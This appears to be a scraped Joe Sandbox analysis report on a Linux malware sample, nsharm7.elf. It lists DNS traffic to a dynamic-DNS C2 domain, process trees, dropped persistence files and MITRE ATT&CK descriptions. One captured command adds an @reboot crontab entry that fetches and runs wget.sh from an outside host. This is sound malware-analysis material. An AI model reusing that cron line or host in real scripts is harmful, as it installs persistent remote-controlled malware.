Oct 26, 2024 19:17:59.825757027 CEST	50720	53	192.168.2.15	139.84.165.176
Oct 26, 2024 19:18:04.832416058 CEST	36607	53	192.168.2.15	80.152.203.134
Oct 26, 2024 19:18:04.862667084 CEST	53	36607	80.152.203.134	192.168.2.15
Oct 26, 2024 19:18:11.215120077 CEST	56763	53	192.168.2.15	64.176.6.48
Oct 26, 2024 19:18:16.222214937 CEST	48207	53	192.168.2.15	65.21.1.106
Oct 26, 2024 19:18:16.250895023 CEST	53	48207	65.21.1.106	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 19:17:47.893155098 CEST	192.168.2.15	194.36.144.87	0xd114	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:49.218113899 CEST	192.168.2.15	8.8.8.8	0xdf28	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:49.218113899 CEST	192.168.2.15	8.8.8.8	0x81b7	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Oct 26, 2024 19:17:53.924577951 CEST	192.168.2.15	194.36.144.87	0x3926	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:59.825757027 CEST	192.168.2.15	139.84.165.176	0x63ae	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.832416058 CEST	192.168.2.15	80.152.203.134	0x2510	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:11.215120077 CEST	192.168.2.15	64.176.6.48	0xb89c	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.222214937 CEST	192.168.2.15	65.21.1.106	0xe882	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	81.29.149.178	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	31.13.248.89	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	86.107.100.80	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	91.149.218.232	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	195.133.92.51	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	91.149.238.18	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	88.151.195.22	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	185.82.200.181	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	194.87.198.29	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	193.233.193.45	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:47.903624058 CEST	194.36.144.87	192.168.2.15	0xd114	No error (0)	kingstonwikkerink.dyn	213.182.204.57	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:49.225999117 CEST	8.8.8.8	192.168.2.15	0xdf28	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:49.225999117 CEST	8.8.8.8	192.168.2.15	0xdf28	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	194.87.198.29	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	193.233.193.45	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	213.182.204.57	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	81.29.149.178	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	31.13.248.89	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	86.107.100.80	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	91.149.218.232	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	195.133.92.51	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	91.149.238.18	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	88.151.195.22	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:17:53.935691118 CEST	194.36.144.87	192.168.2.15	0x3926	No error (0)	kingstonwikkerink.dyn	185.82.200.181	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	31.13.248.89	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	88.151.195.22	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	213.182.204.57	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	193.233.193.45	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	86.107.100.80	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	81.29.149.178	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	194.87.198.29	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	91.149.238.18	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	91.149.218.232	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	195.133.92.51	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:04.862667084 CEST	80.152.203.134	192.168.2.15	0x2510	No error (0)	kingstonwikkerink.dyn	185.82.200.181	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	185.82.200.181	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	193.233.193.45	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	81.29.149.178	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	195.133.92.51	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	91.149.238.18	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	91.149.218.232	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	31.13.248.89	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	86.107.100.80	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	88.151.195.22	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	213.182.204.57	A (IP address)	IN (0x0001)	false
Oct 26, 2024 19:18:16.250895023 CEST	65.21.1.106	192.168.2.15	0xe882	No error (0)	kingstonwikkerink.dyn	194.87.198.29	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: nsharm7.elf PID: 5549, Parent PID: 5469

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	/tmp/nsharm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nsharm7.elf PID: 5551, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5551, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") \| crontab -"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5553, Parent PID: 5551

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5555, Parent PID: 5553

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5555, Parent PID: 5553

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: sh PID: 5554, Parent PID: 5551

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5554, Parent PID: 5551

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: nsharm7.elf PID: 5556, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5556, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/initctl start bot"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5558, Parent PID: 5556

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: nsharm7.elf PID: 5559, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nsharm7.elf PID: 5601, Parent PID: 5559

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nsharm7.elf PID: 5561, Parent PID: 5549

General

Start time (UTC):	17:17:46
Start date (UTC):	26/10/2024
Path:	/tmp/nsharm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nsharm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/init/bot.conf

/root/.bashrc

/var/spool/cron/crontabs/tmp.QYPaEb

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: nsharm7.elf PID: 5549, Parent PID: 5469

General

Chronological Activities

Analysis Process: nsharm7.elf PID: 5551, Parent PID: 5549

General

Chronological Activities

Analysis Process: sh PID: 5551, Parent PID: 5549

General

Chronological Activities

Analysis Process: sh PID: 5553, Parent PID: 5551

General

Chronological Activities

Analysis Process: sh PID: 5555, Parent PID: 5553

General

Chronological Activities

Analysis Process: crontab PID: 5555, Parent PID: 5553

General

Chronological Activities

Linux Analysis Report
nsharm7.elf